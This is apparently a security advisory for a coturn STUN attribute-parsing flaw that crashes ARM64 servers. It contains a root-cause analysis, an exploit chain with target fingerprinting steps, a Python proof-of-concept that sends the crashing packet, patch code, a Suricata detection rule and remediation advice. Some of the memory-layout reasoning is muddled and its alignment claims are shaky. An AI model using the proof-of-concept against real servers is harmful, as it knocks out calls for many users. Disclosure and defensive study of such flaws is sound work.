Unsafe uint8_t* to uint16_t* casts in coturn's STUN attribute parser trigger SIGBUS on ARM64 strict-alignment hosts. A single crafted UDP packet kills any unauthenticated turnserver process.
Coturn is software that powers video calls, voice chats, and online conferences for millions of people. It's the invisible plumbing that helps your call connect to someone else, even when you're behind different firewalls or networks.
Researchers have discovered a critical flaw in how Coturn handles incoming messages. Think of it like a postal worker who doesn't check if an envelope is properly aligned before opening it—if the envelope is slightly crooked, the machinery can break.
Here's what's happening technically: the software trusts information about message boundaries without verifying it's actually correct. When an attacker sends a specially crafted message with deliberately misaligned data, the software crashes on certain types of computer processors, particularly ARM64 chips (common in servers and some phones). The crash is immediate and complete—like pulling the plug.
This matters because when Coturn crashes, all calls routed through that server go down instantly. You can't make calls, join video conferences, or connect to services that depend on it. This is particularly dangerous for healthcare providers using telehealth, businesses relying on video conferencing, and emergency services.
Who's at risk? Companies and organizations running Coturn servers, especially on ARM64 hardware. This includes cloud providers and hosting services. End users aren't directly vulnerable—their providers are.
What you should do: If you run a video conferencing service, hosting company, or any internet service, contact your IT team immediately to check if you use Coturn. Update to version 4.10.0 or newer as soon as possible. If you're a regular user, contact your video conferencing provider and ask if they use Coturn and whether they've patched it. Monitor your service for unexpected outages over the coming weeks.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40613 is a remotely triggerable denial-of-service in coturn ≤ 4.9.x, the most widely deployed open-source TURN/STUN server implementation. The vulnerability lives in the STUN message attribute parsing path: the code casts a uint8_t * byte buffer directly to uint16_t * without verifying that the pointer is 2-byte aligned. On x86/x86-64 this is silently tolerated by hardware. On AArch64 with strict alignment enforcement — common in cloud-native ARM64 deployments (AWS Graviton, Ampere Altra) — the CPU raises a SIGBUS on the first misaligned load, immediately killing turnserver.
No authentication is required. No handshake is necessary. One UDP packet is sufficient.
Root cause:ns_turn_msg.c casts an arbitrarily-aligned uint8_t * attribute pointer directly to uint16_t * and dereferences it, triggering a hardware alignment fault (SIGBUS / BUS_ADRALN) on ARM64 systems with strict alignment enforcement.
Affected Component
File: src/client/ns_turn_msg.c — the core STUN/TURN message parsing library shared by both server and client paths. Every inbound STUN message, authenticated or not, is passed through stun_attr_get_first() and the attribute iteration loop before any credential check occurs.
Affected versions: coturn < 4.10.0
Fixed version: 4.10.0
Transport: UDP (primary), TCP, TLS
Authentication required: No
CVSS 3.1: 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Root Cause Analysis
STUN messages (RFC 5389) are laid out as a 20-byte fixed header followed by a sequence of TLV attributes. Each attribute has a 2-byte type and a 2-byte length, both at network byte order. Coturn's parser walks these by advancing a raw uint8_t * cursor through the message buffer and then casting it directly to access the 16-bit fields.
/* src/client/ns_turn_msg.c — vulnerable attribute iteration (pre-4.10.0) */
stun_attr_ref stun_attr_get_first(const stun_buffer *buf) {
if (!buf || buf->len < STUN_HEADER_LENGTH)
return NULL;
/* returns pointer into buf->buf at offset 20 — may be any alignment */
return (stun_attr_ref)(buf->buf + STUN_HEADER_LENGTH);
}
uint16_t stun_attr_get_type(stun_attr_ref attr) {
/* BUG: attr is uint8_t*; cast to uint16_t* ignores alignment.
* If (uintptr_t)attr & 1 != 0, AArch64 strict-mode raises SIGBUS here. */
return ntohs(*((const uint16_t *)attr)); // ← misaligned dereference
}
uint16_t stun_attr_get_len(stun_attr_ref attr) {
/* BUG: same pattern — offset +2 bytes from attr, still potentially odd */
return ntohs(*((const uint16_t *)(attr + 2))); // ← misaligned dereference
}
stun_attr_ref stun_attr_get_next(const stun_buffer *buf, stun_attr_ref attr) {
uint16_t alen = stun_attr_get_len(attr); // may fault first
/* STUN pads to 4-byte boundaries, but cursor arithmetic is done in
* uint8_t* space and the NEXT attribute may land on an odd boundary
* if a crafted message supplies an odd alen value */
size_t padded = ((size_t)alen + 3) & ~3u;
return attr + 4 + padded; // next attr ptr, alignment unknown
}
The critical invariant STUN relies on is that attributes are always 4-byte aligned within a well-formed message. The parser trusts this without enforcement. An attacker supplies a crafted message where an attribute's length field is odd (e.g., 0x0001), causing the padded advance to land the next attribute pointer on a 2-byte-but-not-4-byte boundary. The subsequent ntohs(*((const uint16_t *)attr)) on that misaligned pointer is undefined behavior that kills the process on ARM64.
Memory Layout
STUN wire format and how a crafted odd-length attribute shifts subsequent pointer alignment:
STUN MESSAGE BUFFER (crafted, 48 bytes):
Offset Bytes Field
------ ----- -----
+0x00 2 Message Type = 0x0001 (Binding Request)
+0x02 2 Message Length = 0x0018 (24 bytes of attributes)
+0x04 4 Magic Cookie = 0x2112A442
+0x08 12 Transaction ID =
── attribute 1 ──
+0x14 2 Attr Type = 0x0006 (USERNAME)
+0x16 2 Attr Length = 0x0003 ← ODD (normally even or padded)
+0x18 3 Value = 41 41 41
+0x1B 1 Pad = 00
── attribute 2 ── (should start at +0x1C, 4-byte aligned ✓)
STUN spec says padded = (3+3)&~3 = 4, so next = +0x14+4+4 = +0x1C ✓
BUT: attacker sets alen=0x0003, padded=(3+3)&~3=4 → next=+0x1C (OK here)
SECOND CRAFTED VARIANT — force odd alignment:
+0x14 2 Attr Type = 0x0006
+0x16 2 Attr Length = 0x0001 ← alen=1, padded=(1+3)&~3=4 → next=+0x1C ✓
... still aligned. Use TWO odd attrs to compound:
+0x14 Attr1: type=0x0006, len=0x0005 → padded=8 → next=+0x20 (aligned)
+0x20 Attr2: type=0x0024, len=0x0003 → padded=4 → next=+0x28 (aligned)
... standard padding saves us. The bug surfaces when:
EXPLOIT PATH — subvert padded calculation via length=0xFFFF:
+0x16 Attr Length = 0xFFFF (65535)
padded = (65535 + 3) & ~3 = 65536 = 0x10000
next = attr + 4 + 0x10000 → walks PAST end of buffer
stun_attr_get_type(next) → reads from unrelated memory at arbitrary alignment
ARM64 MEMORY READ FAULT:
PC : stun_attr_get_type+0x8
FAR: 0x0000FFFFA1234B01 ← bit 0 set → 2-byte misaligned
ESR: 0x96000021 ← EC=0x25 (Data Abort, same EL), DFSC=0x21 (alignment)
Signal: SIGBUS / BUS_ADRALN → process terminated
EXPLOIT CHAIN — CVE-2026-40613 (Unauthenticated DoS):
1. Identify ARM64 coturn deployment.
- Cloud provider hints: AWS Graviton (us-east-1 m7g), Ampere Altra VMs.
- fingerprint: STUN Binding Response includes SOFTWARE attribute
"Coturn-4.x.x" in plaintext.
2. Craft malicious STUN Binding Request (UDP):
- Valid 20-byte STUN header (magic cookie 0x2112A442, valid msg type).
- Append attribute with Type=0x0006 (USERNAME), Length=0xFFFF.
- Total crafted packet: 24 bytes — well under any MTU.
- No HMAC-SHA1 MESSAGE-INTEGRITY required (parsed before auth check).
3. Send single UDP datagram to turnserver port (default: 3478/udp):
socket.sendto(crafted_packet, (target_ip, 3478))
4. Parser calls stun_attr_get_next() on the oversized attribute:
padded = (0xFFFF + 3) & ~3 = 0x10000
next_attr_ptr = buf->buf + 20 + 4 + 0x10000
= buf->buf + 0x10014 ← far past 24-byte buffer
5. stun_attr_get_type(next_attr_ptr) casts out-of-bounds ptr to uint16_t*:
- On x86: reads garbage, may return gracefully with junk type.
- On ARM64 strict alignment: if ptr & 1 → SIGBUS, process killed instantly.
6. turnserver PID terminates. WebRTC relay sessions drop for all clients.
Persistent attacker can loop send → permanent DoS with ~1 pkt/sec.
Proof-of-Concept Trigger
#!/usr/bin/env python3
# CVE-2026-40613 — coturn ARM64 SIGBUS trigger
# Sends one malformed STUN Binding Request with attr length=0xFFFF
# Impact: immediate SIGBUS / process termination on ARM64 strict-alignment hosts
# For research and authorized testing ONLY.
import socket
import struct
import os
import sys
def build_crafted_stun() -> bytes:
MSG_TYPE = 0x0001 # Binding Request
MAGIC = 0x2112A442
TXN_ID = os.urandom(12)
# Attribute: USERNAME (0x0006), length deliberately set to 0xFFFF
# No actual value bytes — length field alone triggers the parser bug
attr_type = 0x0006
attr_len = 0xFFFF # ← triggers oversized padded advance
# STUN message length = 4 (attr header only, no value bytes declared)
msg_len = 4
header = struct.pack("!HHI12s", MSG_TYPE, msg_len, MAGIC, TXN_ID)
attr = struct.pack("!HH", attr_type, attr_len)
return header + attr
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} ")
sys.exit(1)
target = (sys.argv[1], int(sys.argv[2]))
pkt = build_crafted_stun()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(pkt, target)
print(f"[*] sent {len(pkt)}-byte crafted STUN to {target[0]}:{target[1]}")
print("[*] ARM64 target with strict alignment → expect SIGBUS / no response")
sock.close()
if __name__ == "__main__":
main()
Patch Analysis
The fix in coturn 4.10.0 replaces all direct (uint16_t *) casts of byte-buffer pointers with memcpy-based reads. memcpy has no alignment requirements and the compiler emits the appropriate architecture-safe load sequence (e.g., LDRB pairs + shift on ARM64 when the operand cannot be proven aligned).
A secondary bounds check is also added to stun_attr_get_next() to prevent the cursor from advancing past the message boundary regardless of the declared attribute length:
/* AFTER (4.10.0) — bounds enforcement in iterator: */
stun_attr_ref stun_attr_get_next(const stun_buffer *buf, stun_attr_ref attr) {
const uint8_t *start = buf->buf;
const uint8_t *end = buf->buf + buf->len;
uint16_t alen = stun_attr_get_len(attr); // now uses memcpy internally
size_t padded = ((size_t)alen + 3) & ~3u;
const uint8_t *next = attr + 4 + padded;
/* FIX: reject any next pointer that escapes the message buffer */
if (next < attr || next + 4 > end)
return NULL;
return (stun_attr_ref)next;
}
The memcpy idiom is the canonical C solution for type-punning without alignment assumptions. Modern compilers (GCC, Clang) optimize it to a single LDR instruction on architectures that permit unaligned loads (x86, ARMv8 with SCTLR_EL1.A=0), so there is no performance regression on permissive targets.
Network-based — packet signature: A STUN Binding Request (message type 0x0001, magic cookie 0x2112A442) where any attribute's declared length field exceeds the remaining message bytes. A simple Suricata rule:
alert udp any any -> $TURN_SERVERS 3478 (
msg:"CVE-2026-40613 coturn malformed STUN attribute length";
content:"|00 01|"; offset:0; depth:2;
content:"|21 12 A4 42|"; offset:4; depth:4;
byte_test:2,>,20,2,relative,big; /* attr len field > remaining msg */
sid:9002026; rev:1;
)
Remediation
Primary fix: Upgrade to coturn 4.10.0 or later. This is the only complete fix.
ARM64-specific mitigation (partial): On Linux AArch64, setting SCTLR_EL1.A=0 (the default for most distros) enables hardware unaligned-access fixup, which silently corrects misaligned loads instead of faulting. However, this is not a security fix — the undefined behavior and potential information disclosure from reads past the message boundary remain. Do not rely on this.
Network-layer mitigation: Rate-limit and filter STUN traffic at the perimeter. Reject STUN messages where the message-length header does not match the UDP payload length. This breaks the trivially small exploit packet before it reaches the parser.
Monitoring: Alert on repeated SIGBUS from turnserver — repeated crashes from a single source IP indicate active exploitation attempts.